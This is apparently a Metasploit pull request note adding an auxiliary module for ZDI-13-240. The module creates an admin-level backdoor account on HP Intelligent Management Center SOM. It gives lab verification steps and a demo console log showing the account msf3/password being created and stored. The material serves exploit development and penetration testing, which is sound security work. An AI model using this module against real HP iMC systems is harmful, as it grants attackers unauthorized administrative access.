Add module for ZDI-13-240

[jvazquez-r7]

Tested successfully on HP Intelligent Management Center 5.2 E0401 and 5.1 E202 with SOM 5.2 E0401 and SOM 5.1 E0201 over Windows 2003 SP2. The module creates a user with "Admin account" permissions.

Verification

• Download a vulnerable HP iMC from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_ES_Platform/index.aspx#.Umg5-JRASaI
• Download a vulnerable SOM version from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_SOM_Software/#.Umg6CpRASaI
• Install the things on W2003SP2
• Use the module as showed in the demo, should allow to create a backdoor account with user admin permissions.
• Use the credentials to log into http://target/servicedesk/ServiceDesk.jsp

DEMO

msf auxiliary(hp_imc_som_create_account) > reload
[*] Reloading module...
msf auxiliary(hp_imc_som_create_account) > run

[*] 192.168.172.133:8080 - Trying to find the service desk service strong name...
[+] 192.168.172.133:8080 - service desk strong number found: 2E4B2C0D74BA9BB13F0032BB3893AC23
[*] 192.168.172.133:8080 - Trying to find the AccountService strong name...
[+] 192.168.172.133:8080 - AccountService strong number found: A5D1CB566D99E2ACF40FD05489FF91BC
[*] 192.168.172.133:8080 - Trying to create account msf3...
[+] 192.168.172.133:8080 - Account msf3/password created successfully.
[*] 192.168.172.133:8080 - Use it to log into http://192.168.172.133:8080/servicedesk/ServiceDesk.jsp
[*] Auxiliary module execution completed
msf auxiliary(hp_imc_som_create_account) > creds

Credentials
===========

host             port  user  pass      type      active?
----             ----  ----  ----      ----      -------
192.168.172.133  8080  msf3  password  password  true